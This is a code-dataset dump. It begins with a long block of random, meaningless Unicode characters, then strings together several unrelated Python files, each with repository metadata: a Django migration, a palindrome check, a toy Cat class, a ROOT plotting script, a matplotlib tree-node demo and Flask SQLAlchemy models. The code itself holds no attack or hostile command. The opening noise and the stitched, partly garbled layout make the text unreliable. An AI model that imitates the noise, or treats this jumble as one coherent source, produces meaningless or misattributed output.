𭂪𭺯𨽀㍅𪥤𒋙𗒂𦕩𤹢𬹲씝🁙𧮲텞㼧𨻥俊𫝫𣿩∠찦㜘툾ꇒヘ𠳎𧒄蜙揅궹𡧦쿲𬺗🜃𘧨𭆆𨠓ⶓⲤ𦥘毫葚캼𠐧𪵥덳𨒂㑩𭆨퓸헎찳𘉻缫𔗝𪙋𥾤뷨ᅤପ𬓇𐍖夾ⷒ𪲤𡂐ﲘ𡑩𧖑𛁾𐌍𥐒換🥜𨶆𑑖𭥚𦊢𠡖ⷎ𦐐𪅷𤣿䳸𗛼𡽠𩚴氈悡꾜𣳂縩퇝拗𦟹𬃳씑𬹟쁸䬗🎪🏶붛킒𑋜塰𪵣ꔥ▾𢲶𠊌𢢩𩓨࿁䨀𫜐⇇䦲𥋍헴郏螊歽𬥾𘆁𪑇㓛𥕃𔔽ࡆ𗌒𬴧🌚聀𪡿篳𨾹𛂤걹𫯎Έ𑦾𪩽厚𗌼瀂𤦠𧭦🤆𣊒ި𨨃ᆞᘝ𡴃𦒝𬓴𭋹흂𨍢𗗘𧎄畱𬧙𘌴卝𨛅䡾쩐𠤂ਜ𩹙熶푶𭤽뢒𗄡𫫑ᒰ𬶪𨁕𢐔읒渏𤛍𧃬𑶧𩨰贖𥞭𢸽𭉼𨸭𘪿誨Ḕ𘟁ꋠ𡌇됼𫸃𡪘ᵥ墢𩓤𣫉𭺜秂Ꞟ𥹶鞸𭜺𭋍𗼟𘅿Ǿռ竔輊ࣚ⥯𣾨𪮷䶈𦍖𥾓仌𒈢䟺𧰐𝓶𮟕𧌒𭕡𪗪놓䰋㳏𢇯𫵎椬ݧ𪛊𮃸⸘𨑼𬽳ᩗ㢶𣺪岺𪟌🠳肿┄𐝍芵𧋟䑎翁𖡂𦳾𖨀ㆩ𭗲𪈀檚𧔗㳖𢎩𣙱𭇜𤓟𮪔ʇ📡錟𩥠𤵛𘥕𘀡鐏🐖瀴梽𨲿㎷瀂阒𧟇𗃈懇𖮍쨂쁃𭙴⪋𬁦擓辐机𬢉𠼑𧔎ᑽ𐎺𤪑𐇬㷧𝈟𒂾𗎩䵎𘒄𦤓𔖚𭅓𥥩𣦤𣨡㫔𬛪𣜳蝑𦁩㠚爨䡄𤰨𓇌𘠘𐎍雴𩔑睷𡄒鈚捧𪏹𩕀𨯂𮁅亳𢻷𝐥𝜛𐕖胋𨑽쨢𥆆疳諂羀𪮮𪿏𦾀𡠐𠞈瀻𠥭𡋄ᘮ𛀐𗐻䓂𪛉𬶱𩈗嵑⯄襪𬂿𤼑𠏹珸亶Ῡ㑽뵐𑘮𑪚⢒𗾼𗇀임𧏓𮧓𓊡𮡾𘦀牍𥇉𫶶睆协𦟝𣫴𐋰𝄎𦦥𣹚𮊺䭭ﮥ𥋮暚㒲𡴠᠉󠇪𥈷慀퐑𬸣𧱶𑨮﹐㴰🆢𛊌𤜓ᣤ𫟗𝂊𠎴𤗈🌆戣脾粺𬁿𣾝𞸅뒜𬣘莓𑑙𑰔戛괒𭘡𝨡㿫𤛜𨘏仾𣅇𪋁𥒈ꅷ穡𥙮𥓃矒𡎂𧃡𥳢𥈍죽𠉧🛊𡝖📒矓𪅍㳰𓇤匣赔𮡹𫲼쎩忹𮪼츐鵦𠄊𗌂里𣴢𥩻𮒎𦾓ȩ🎐滺𑨋𐡨𭪑僇𧇙ၢ𣩏𫗒䱚𭔓ሹ𭻙ꩮ앹袉𠎧᮫𥲢Ⴔ活𪙍𩵲녈𭥊㬻𮓧𧽗𧩭𤊷㏉𢿜ክ𓅴뵼𐦂𢻇⒬𥔦ꠛᆸ𖤢쐸𥐺窐覃𮣖𑴑𨤗𠐕𩮣𫱽̋뼃촣𡱅額𢤅𩿻𭇃𠓈𥛐⼭𬊖粞𨗴𤗙🇵𒍶𝓀豵껆𬔧ᕳ𥍺𠯯䦙䚩𐽙伡莥ᮺꊆ𤍑𫶻ٰ㕦𤁦𪎯𬞯띠舁𭛋𮥣몇𒍴𦲅ꥱ𦖶𪇹𖥳𗵯𤩺𖭩镎𢰁𧲨𗸗࿓㸦窲㪼鞢𑓂𭙶𝝄ԑ𒉆𭜶뺯𐡉漚𨛤𐳍𪡱沓𝛨䯆渀𢢡𪶙𪞌𥿦瀛𬂙𥿲鵷𪗐𨪲䘴칾㢓𡢴𠍉उ𫞄ꐞ𘘏𞅅Г𗏀𗲒𗪶㯔蜬𧞸𤅦瑥쳗𤆸𩞌𣞯𠧲𨷘𦇠𒍯𝜟𮊦門뢙쏴𑓁큟쎞𣍬𬼬쬩ȗ𗡚니蟌𢪆𤺱𣼯䏧숵𬏨㰗甉𧡘𫿺檺𫉩𬘌졨疙𮏁𖬉䯪碜콛𧗸𠞿抎擋𭫏𫖨댞臍𩃀𪭎𥠺𒀇𡭹𬵌𮖥쩑ꆟ𢟔𘅑𣌪豨
[ "45290401+vmlankub@users.noreply.github.com" ]
45290401+vmlankub@users.noreply.github.com
ff8119939df8debd77ff8686cfe9e8e79098e1dd
e4624cc8b073941e7c66eac77ac7ca1ef989cd37
/protests/migrations/0002_auto_20200925_1922.py
f76c3b41c917cc5582d44689e6c1a9722c081f99
[ "MIT" ]
permissive
mentix02/revolve
a7f9ed4626c626d45a93de589857fe237ab9ca18
59e3c2999bb511515478e20edf80556665de6c67
refs/heads/master
2022-12-18T16:33:13.582607
2020-09-26T10:49:16
2020-09-26T10:49:16
298,392,674
0
0
null
null
null
null
UTF-8
Python
false
false
904
py
# Generated by Django 3.1.1 on 2020-09-25 13:52 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('protests', '0001_initial'), ] operations = [ migrations.AddField( model_name='protest', name='organizer', field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='organized_protests', to=settings.AUTH_USER_MODEL, ), ), migrations.AddIndex( model_name='protest', index=models.Index(fields=['slug'], name='protests_pr_slug_1f2372_idx'), ), ]
[ "manan.yadav02@gmail.com" ]
manan.yadav02@gmail.com
6a163bfb06b31a891a4c2da6e027f54a766b43fe
0cd19bf1f74a435430a4efbccbc79969fb9a5ee8
/Assignment 1/file_8.py
af7850ee3d3eb4a213d0abccae7c3eca43f5382e
[]
no_license
madhavmalhotra3089/Introduction-to-python
91d1b048c3bd990cbd5bfb0a3d7a600d89e66eee
739e7d88e36852525a03fae341e0dfe4eaedbba5
refs/heads/master
2020-03-22T14:57:17.046631
2018-07-09T19:55:12
2018-07-09T19:55:12
140,217,647
0
0
null
null
null
null
UTF-8
Python
false
false
308
py
string='Madhav' result = True str_len = len(string) print str_len half_len= int(str_len/2) print half_len for i in range(0, half_len): # you need to check only half of the string print string[str_len-i-1] if string[i] != string[str_len-i-1]: result = False break print(result)
[ "madhav.malhotra3089@gmail.com" ]
madhav.malhotra3089@gmail.com
1086658696ca9f04d28579656a21ca42cfd914ce
1b9ffc6033c810959d739e0389f490f1573bab2a
/package_bobo_note/class_plus_function_Cat.py
9c60d1fc95ddc089f53b05f2d8a17157308860d1
[]
no_license
VicnentX/MachineLearning_PorjectsAndNotes
7867142fee044d49ca03d6177fa50e199316ea5f
9eb29e47a67d499da0cd880664ae660ff31cbcad
refs/heads/master
2020-05-15T07:42:54.748552
2019-12-13T05:31:15
2019-12-13T05:31:15
182,145,261
0
0
null
null
null
null
UTF-8
Python
false
false
558
py
class Cat: """ define a Cat class """ # initiate def __init__(self, new_name, new_age): self.name = new_name self.age = new_age def __str__(self): return f"{self.name} is {self.age} year old" # method def eat(self): print("eating fish") def drink(self): print("drinking cocacola") def introduce(self): print(f"{self.name} is {self.age} year old") tom = Cat("tom", 12) black_captain = Cat("black_captain", 25) print(tom) print(black_captain) print(tom.introduce())
[ "chunqiu1xia@gmail.com" ]
chunqiu1xia@gmail.com
2cf4e87b3e0de4adc8a89119092452af59562e54
dea64384db1d70c65dba9bf41cced4c2b78a1738
/addLine.py
c97e22a3158a401c9e3b110fd4d630428bfb2b19
[]
no_license
jhakala/Vg
bed362bc43bff1ec68849b426e3a014ec95542e6
771189e67702118e08961e8fbffdefa2c7de57c7
refs/heads/master
2020-12-07T13:45:17.273736
2017-12-12T00:15:00
2017-12-12T00:15:00
52,993,022
0
0
null
2016-03-02T20:11:20
2016-03-02T20:11:20
null
UTF-8
Python
false
false
1,018
py
from sys import argv from os import path from ROOT import * if not len(argv) == 2: print "Please enter the input filename." exit(1) if not path.exists(argv[1]): print "Input file not found." exit(1) category = "antibtag" if "antibtag" in argv[1] else "btag" inFile = TFile(argv[1]) cans=[] cans.append(("means" , inFile.Get("p2"))) cans.append(("medians" , inFile.Get("c2a"))) outFile = TFile("lineAdded_%s" % argv[1], "RECREATE") topLines = [] bottomLines = [] rangeHi = 3600 rangeLow = 500 for can in cans: can[1].Draw() can[1].cd() topLines.append(TLine(rangeLow, 0.5, rangeHi, 0.5)) bottomLines.append(TLine(rangeLow, -0.5, rangeHi, -0.5)) topLines[-1].SetLineStyle(2) topLines[-1].Draw() bottomLines[-1].SetLineStyle(2) bottomLines[-1].Draw() print "drew lines on canvas", can[1].GetName() can[1].GetPrimitive("hframe").GetXaxis().SetRangeUser(rangeLow, rangeHi) can[1].GetPrimitive("hframe").GetYaxis().SetTitleOffset(1.2) can[1].Print("bias_%s_%s.pdf" % (can[0], category))
[ "john_hakala@brown.edu" ]
john_hakala@brown.edu
14aa102d9e3ed79e50dcc29dbb5e082befb790ce
b685036280331fa50fcd87f269521342ec1b437b
/src/data_mining_demo/machine_learning_in_action/chapter3_page62.py
f3d10ff28a9cb7fcdf8d900286d6a1bc2cf9284b
[]
no_license
chenqing666/myML_DM_Test
f875cb5b2a92e81bc3de2a0070c0185b7eacac89
5ac38f7872d94ca7cedd4f5057bb93732b5edbad
refs/heads/master
2022-02-26T01:52:06.293025
2019-09-20T06:35:25
2019-09-20T06:35:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,064
py
import matplotlib.pyplot as plt decisionNode = dict(boxstyle="sawtooth", fc="0.8") leafNode = dict(boxstyle="round4", fc="22") arrow_args = dict(arrowstyle="<-") def plotNode(nodeTxt, centerPt, parentPt, nodeType): """ :param nodeTxt: 注释 :param centerPt: 箭头终止位置 :param parentPt: 箭头起始位置 :param nodeType: 节点类型 :return: """ createPlot.ax1.annotate(nodeTxt, xy=parentPt, xycoords='axes fraction', xytext=centerPt, textcoords='axes fraction', va="center", ha="center", bbox=nodeType, arrowprops=arrow_args) def createPlot(): fig = plt.figure(1, facecolor='white') fig.clf() # clear figure axprops = dict(xticks=[], yticks=[]) # createPlot.ax1 = plt.subplot(111, frameon=False, **axprops) #no ticks createPlot.ax1 = plt.subplot(111, frameon=True) # ticks for demo puropses plotNode("dd", (.5, .1), (.1, .5), decisionNode) plotNode('a leaf node', (0.8, 0.1), (0.3, 0.8), leafNode) plt.show() createPlot()
[ "daijitao@ctsi.com.cn" ]
daijitao@ctsi.com.cn
96acea6c4d014e3384d4217b80831e54028c5ac2
6b0192385b791598640867a4c2aedc2da840f784
/app/models.py
2ba03ae12c495b11fb20bcc65affc9c6b354546d
[ "MIT" ]
permissive
Albert-Byrone/corruption-feeds
14e2bc6b83ea758d1a84d87633dbc43995a74db7
83ef3fa680acf23079d25debaff461a38b6cb386
refs/heads/master
2022-10-12T04:14:25.413542
2019-11-01T06:21:54
2019-11-01T06:21:54
218,772,077
0
3
MIT
2022-09-16T18:12:47
2019-10-31T13:26:09
Python
UTF-8
Python
false
false
3,407
py
from flask_login import current_user,UserMixin from werkzeug.security import generate_password_hash,check_password_hash from datetime import datetime from . import db,login_manager @login_manager.user_loader def load_user(user_id): return User.query.get(user_id) class User(UserMixin,db.Model): __tablename__ = 'users' id = db.Column(db.Integer,primary_key=True) username = db.Column(db.String(255),unique=True,nullable=False) email = db.Column(db.String(255),unique = True,nullable = False) bio = db.Column(db.String(255),default='My default Bio') nickname = db.Column(db.String(255),unique=True,nullable=True) # location = db.Column(db.String(255),unique=True,nullable=True) profile_pic_path = db.Column(db.String(255),default='default.png') hashed_password = db.Column(db.String(255),nullable=False) case = db.relationship('Case',backref='user',lazy='dynamic') comment = db.relationship('Comment',backref='user',lazy='dynamic') upvote = db.relationship('Upvote',backref='user',lazy='dynamic') @property def password(self): raise AttributeError('You cannot read the password attribute') @password.setter def password(self,password): self.hashed_password=generate_password_hash(password) def verify_password(self,password): return check_password_hash(self.hashed_password,password) def save_user(self): db.session.add(self) db.session.commit() def __repr__(self): return f"User {self.username}" class Case(db.Model): __tablename__='cases' id = db.Column(db.Integer,primary_key=True) title = db.Column(db.String(255),nullable=False) content = db.Column(db.Text(),nullable=False) posted = db.Column(db.DateTime,default = datetime.utcnow) user_id = db.Column(db.Integer,db.ForeignKey('users.id')) comment = db.relationship('Comment',backref='case',lazy='dynamic') upvote = db.relationship('Upvote',backref='case',lazy='dynamic') def save_cases(self): db.session.add(self) db.session.commit() @classmethod def get_case(cls,id): cases = Case.query.get(id) return cases def __repr__(self): return f'Case {self.post}' class Comment(db.Model): __tablename__='comments' id = db.Column(db.Integer,primary_key=True) comment = db.Column(db.Text(),nullable = False) posted = db.Column(db.DateTime,default = datetime.utcnow) user_id = db.Column(db.Integer,db.ForeignKey('users.id')) case_id = db.Column(db.Integer,db.ForeignKey('cases.id')) def save_comments(self): db.session.add(self) db.session.commit() @classmethod def get_comments(cls,case_id): comments = Comment.query.filter_by(case_id=case_id).all() return comments def __repr__(self): return f'Case {self.post}' class Upvote(db.Model): __tablename__='upvotes' id = db.Column(db.Integer,primary_key=True) user_id = db.Column(db.Integer,db.ForeignKey('users.id')) case_id = db.Column(db.Integer,db.ForeignKey('cases.id')) def save_votes(self): db.session.add(self) db.session.commit() @classmethod def get_votes(cls,id): votes = Upvote.query.filter_by(case_id=id).all() return votes def __repr__(self): return f'{self.user_id}:{self.case_id}'
[ "albertbyrone1677@gmail.com" ]
albertbyrone1677@gmail.com